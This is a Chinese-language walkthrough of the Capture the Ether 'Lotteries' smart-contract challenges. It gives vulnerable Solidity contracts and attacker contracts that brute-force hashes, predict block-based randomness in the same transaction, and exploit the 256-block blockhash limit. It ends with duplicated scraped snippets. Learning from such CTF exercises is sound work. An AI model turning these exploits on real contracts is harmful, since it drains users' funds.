在以下每个挑战中,我们的目标是在guess时正确猜测答案
代码:
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
很简单,题目中直接给出了要猜测的数字是 42 ,部署合约输入 42 即可。
代码:
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
要求我们给出一个 uint8 类型的数字的 hash 值等于题目给的answerHash,因为uint8最大也不过 255 ,所以我们可以用枚举法写一个 for 循环一个一个来判断。
攻击代码:
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 public answer;
function guess() public payable {
for(uint8 i = 0; i < 255; i++) {
if (keccak256(i) == answerHash) {
answer = i;
}
}
}
}
部署合约,调用攻击合约的guess方法得到答案,在目标合约输入 answer 即可:

代码:
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 0.001 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这道题answer在我们部署合约时由 block.number 以及 now 生成, block.number 是部署合约时的区块高度,很容易获得, now 是当前的时间戳,这是个比较麻烦的地方,我们可以使用 injected provider 在 remix 中使用的我们的 metamask 钱包部署合约。(题目的 1 ether 太高了,我们可以自行降低,这里我用的 0.001 ether 即 1 Finny)

部署了合约之后,我们可以去区块链浏览器上查看合约的情况,点击 view on etherscan:

可以看到当前交易的信息:

点击 State ,第二个 address 就是我们合约的地址,点击旁边的箭头就可以看见合约中有一个 storage 变量的变化,转换成number类型之后就可以知道answer 就是 99:

输入答案99即可:

代码:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这道题answer变成了在我们运行guess函数时生成,上一题的方法就不行了,我们可以写一个攻击函数,构造一个answer,然后从攻击函数来调用guess函数。
攻击代码:
pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
GuessTheNewNumberChallenge target;
function pwn() public payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
target.guess.value(0.001 ether)(answer);
}
function Poc(address _addr) public {
target = GuessTheNewNumberChallenge(_addr);
}
function () public payable {}
}
通过pwn函数我们生成了一个answer(在同一个交易中now和blocknumber是相同的),然后调用目标合约的guess函数,传入答案answer。
部署合约,调用pwn函数即可:


攻击完成
代码:
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
这道题answer的生成方式和上一题一样,依然是利用block.number和now来生产,但是猜测的范围变成了0 - 10,不同于上题的是它需要我们先通过lockInGuess函数设置一个我们猜测的数字guess,也就是我们猜测的数字是确定的,但是answer变化的,所以我们可以构造一个合约,当我们设置的guess和当前的answer相同的时候再执行settle函数。
攻击代码:
pragma solidity ^0.4.21;
import "./PredictTheFuture.sol";
contract attack {
PredictTheFutureChallenge challenge;
constructor(address _addr) public {
challenge = PredictTheFutureChallenge(_addr);
}
function gue() public payable {
challenge.lockInGuess.value(msg.value)(5);
}
function set() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (result == 5) {
challenge.settle();
}
}
function() public payable{}
}
部署合约,先调用gue函数设置一个猜测的guess(我选择的5),再调用set函数直到成功为止即可(挺看运气的)
代码:
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
题目要求我们猜测下一个区块的256位的Hash值。
“出于可扩展性的原因,区块哈希并非对所有区块都可用。您只能访问最近 256 个区块的哈希值,所有其他值将为零。”
所以我们只需要等待256个区块就可以解决这个问题。
攻击代码:
pragma solidity ^0.4.21;
import "./PredictBlockHash.sol";
contract attack {
PredictTheBlockHashChallenge challenge;
uint256 blockNumber;
bytes32 answer;
function attack(address _addr) public {
challenge = PredictTheBlockHashChallenge(_addr);
}
function guess() public payable {
blockNumber = block.number + 1;
challenge.lockInGuess.value(0.001 ether)(answer);
}
function pwn() public {
require(block.number-256 > blockNumber,"Didn't generate 256 blocks");
challenge.settle();
}
function ()external payable{}
}
先调用攻击合约的guess函数,存入0,等到生成了256个区块之后再来调用pwn函数即可(等的时间挺久的)
Lotteries在以下每个挑战中,我们的目标是在guess时正确猜测答案第一题:Guessthenumber代码:pragmasolidity^0.4.21;contractGuessTheNumberChallenge{uint8answer=42;functionGuessTheNumberChallenge()publicpayable{require(msg.value==1ether);}functionisComplete()publicviewreturns(bool){returnaddress(this).balance==0;}functionguess(uint8n)p
Lotteries在以下每个挑战中,我们的目标是在guess时正确猜测答案第一题:Guessthenumber代码:pragmasolidity^0.4.21;contractGuessTheNumberChallenge{uint8answer=42;functionGuessTheNumberChallenge()publicpayable{require(msg.value==1ether);}functionisComplete()publicviewreturns(bool){returnaddress(this).balance==0;}functionguess(uint8n)p